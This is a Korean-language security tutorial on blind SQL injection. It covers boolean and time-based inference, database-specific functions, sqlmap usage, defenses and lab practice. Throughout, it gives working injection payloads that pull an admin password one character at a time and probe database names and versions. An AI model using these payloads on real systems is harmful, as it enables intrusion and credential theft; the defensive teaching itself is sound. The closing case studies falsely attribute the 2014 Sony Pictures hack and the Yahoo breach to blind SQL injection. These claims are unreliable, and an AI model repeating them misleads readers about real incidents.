Blind SQL Injection의 응답 추론 방식과 방어 전략

Blind SQL Injection의 Boolean·시간 기반 추론 방식, 데이터베이스별 함수, 탐지와 방어 전략을 정리한다.

2026-08-14 · 최초 발행 2025-06-28

결과를 보지 못해도 응답에서 정보를 읽어내는 공격

Blind SQL Injection은 SQL 쿼리의 결과가 화면에 직접 노출되지 않을 때도 데이터베이스 정보를 추출하는 기법이다. 공격자는 참·거짓에 따른 페이지 내용, 응답 코드, 오류 메시지의 변화나 응답 시간 차이를 관찰한다. 데이터 자체가 보이지 않더라도 이런 간접 피드백이 반복되면 데이터베이스 구조와 값을 추론할 수 있다.

직접적인 오류 출력이 없다는 사실만으로 SQL Injection 위험이 사라지지는 않는다. 오히려 응답 차이가 작거나 시간 측정이 필요한 환경에서는 탐지와 분석이 더 까다로울 수 있다.

응답 차이와 지연 시간을 이용하는 방식

Boolean-based Blind SQL Injection

Boolean-based 방식은 조건식의 참·거짓에 따라 애플리케이션 응답이 달라지는 점을 이용한다. 페이지 콘텐츠, 응답 코드, 오류 메시지 등을 비교해 조건의 결과를 판단한다.

SELECT * FROM users WHERE username='admin' AND (SELECT 1 FROM dual WHERE 1=1)--'

이 쿼리가 정상적으로 실행되면 조건이 참이라는 사실을 확인할 수 있다.

Time-based Blind SQL Injection

Time-based 방식에서는 특정 조건이 참일 때만 쿼리 실행을 지연시킨다. 공격자는 SLEEP, BENCHMARK 등의 시간 지연 함수를 활용하고, 응답 시간이 달라지는지를 관찰한다.

SELECT * FROM users WHERE username='admin' AND IF(1=1, SLEEP(5), 0)--'

조건이 참이면 5초 지연이 발생한다.

데이터베이스 식별부터 정보 추출까지

공격자는 우선 대상 시스템이 사용하는 데이터베이스를 구분하려 시도할 수 있다.

TrueFalseTrueFalseTrueFalse공격 시작MySQL?MySQL 확인MSSQL?MSSQL 확인Oracle?Oracle 확인다른 DB 확인

테이블 정보나 값의 추론은 단발성 요청이 아니라, 응답을 분석한 뒤 다음 조건을 다시 보내는 반복 과정으로 진행된다.

데이터베이스웹 애플리케이션공격자데이터베이스웹 애플리케이션공격자응답 분석 후 다음 쿼리 결정Blind SQL Injection 쿼리 전송변조된 쿼리 실행쿼리 결과 반환간접적 피드백(응답 차이)새로운 추측 쿼리 전송

Boolean-based 공격에서는 특정 계정 비밀번호의 첫 글자를 후보별로 검증하는 식으로 정보를 좁혀 갈 수 있다.

첫 번째 글자가 'a'인지 확인하는 쿼리다.

' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

첫 번째 글자가 'b'인지 확인하는 쿼리다.

' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='b'--

이 과정을 반복하면 전체 비밀번호를 획득할 수 있다.

시간 기반 방식에서는 데이터베이스 이름의 첫 글자를 다음처럼 확인할 수 있다.

' OR IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0)--

데이터베이스 이름의 첫 글자가 ASCII 코드 115('s')와 일치하면 응답이 5초 지연된다.

DBMS마다 달라지는 함수와 지연 처리

MySQL에서는 SUBSTRING(), MID()로 문자열을 추출하고 SLEEP(), BENCHMARK()로 시간 지연을 유도할 수 있다. 조건식에는 IF(), CASE WHEN이 사용되며, DATABASE(), VERSION(), USER()는 정보 획득에 활용된다.

Oracle은 문자열 추출에 SUBSTR()을 사용한다. 시간 지연에는 DBMS_PIPE.RECEIVE_MESSAGE('any_string', 10)이, 조건 처리에는 CASE WHEN이 사용될 수 있다. 정보 획득 대상에는 SYS.DATABASE_NAME, v$version이 있다.

MSSQL에서는 SUBSTRING()으로 문자열을 다루고 WAITFOR DELAY '0:0:5'로 응답을 지연시킬 수 있다. 조건문으로는 IF, CASE가 쓰이며, DB_NAME(), @@VERSION, SYSTEM_USER가 정보 획득에 사용된다.

자동화 도구가 반복 추론을 수행하는 방법

Blind SQL Injection은 수작업으로 수행하면 시간이 많이 걸린다. SQLmap은 널리 사용되는 오픈소스 SQL Injection 자동화 도구이며, Havij는 GUI 기반 도구로 Blind SQL Injection을 지원한다. Burp Suite는 Intruder 기능을 통해 반복 요청을 자동화할 수 있다.

sqlmap -u "http://vulnerable-site.com/page?id=1" --level=5 --risk=3 --technique=B

방어는 쿼리 경계에서 시작된다

가장 직접적인 대응은 사용자 입력을 SQL 문자열과 결합하지 않고 매개변수화된 쿼리로 전달하는 것이다.

// 취약한 코드
String query = "SELECT * FROM users WHERE username='" + username + "'";

// 안전한 코드
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username=?");
stmt.setString(1, username);

ORM을 사용해도 입력 처리와 쿼리 경계를 점검해야 한다. 다음은 Django ORM 예시다.

# Django ORM 예시
user = User.objects.get(username=username)

입력값 검증에는 화이트리스트 방식을 적용하고 특수 문자를 필터링할 수 있다. 다만 특수 문자 필터링만으로는 충분하지 않다.

데이터베이스 계정에는 필요한 최소한의 권한만 부여해야 하며, 웹 애플리케이션이 시스템 테이블에 접근하지 못하도록 제한할 필요가 있다. WAF는 SQL Injection 패턴을 탐지하고 차단하는 보조 통제 수단이 될 수 있고, ModSecurity와 같은 오픈소스 WAF를 활용할 수 있다.

원본 코드와 운영 로그에서 찾는 징후

OWASP ZAP, Acunetix, Nessus 등의 취약점 스캐너로 정기적인 보안 스캔을 수행할 수 있다. 소스 코드 검토에서는 SQL 쿼리를 생성하는 부분과 사용자 입력이 SQL 쿼리에 직접 삽입되는지를 중점적으로 확인한다.

전문 보안 인력에 의한 침투 테스트는 실제 공격 시나리오로 취약점을 발견하는 방법이다. 운영 환경에서는 비정상적인 데이터베이스 쿼리 패턴과 응답 시간이 비정상적으로 긴 요청을 함께 감시해야 한다.

격리된 환경에서 확인하는 요청 형태

실습은 DVWA, bWAPP 같은 취약한 웹 애플리케이션과 Burp Suite, OWASP ZAP 같은 웹 프록시 도구를 준비한 환경에서 진행할 수 있다. 데이터베이스 관리 도구도 함께 준비한다.

취약한 로그인 페이지에서 admin 사용자의 존재 여부는 다음 요청으로 확인할 수 있다.

username=admin' AND 1=1--&password=anything

데이터베이스 버전 정보는 다음 요청으로 추출할 수 있다.

username=admin' AND ASCII(SUBSTRING(@@version,1,1))>51--&password=anything

시간 기반 방식으로 데이터베이스 이름 길이를 확인하는 요청은 다음과 같다.

username=admin' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--&password=anything

데이터베이스 이름의 문자를 하나씩 확인하는 요청은 다음과 같다.

username=admin' AND IF(ASCII(SUBSTRING(DATABASE(),1,1))=115, SLEEP(5), 0)--&password=anything

실제 유출 사례가 보여주는 영향

2014년 소니 픽처스 해킹에서는 공격자들이 SQL Injection 취약점을 통해 소니 내부 시스템에 접근했다. Blind SQL Injection 기법으로 데이터베이스 구조를 파악한 뒤 대량의 내부 정보가 유출됐으며, 개인정보, 영화 파일, 이메일, 재무 데이터 등이 포함됐다. 예상 피해액은 약 1억 5천만 달러였다.

2013-2014년 야후 데이터 유출에서는 공격자들이 Blind SQL Injection 취약점을 악용해 야후 데이터베이스에 접근했다. 약 30억 개의 사용자 계정 정보가 유출됐고, 해시된 비밀번호, 보안 질문, 개인 정보 등이 포함됐다. 이 사건으로 베리존의 야후 인수가격은 3억 5천만 달러 감소했다.

Blind SQL InjectionSQL Injection웹 보안데이터베이스 보안취약점 대응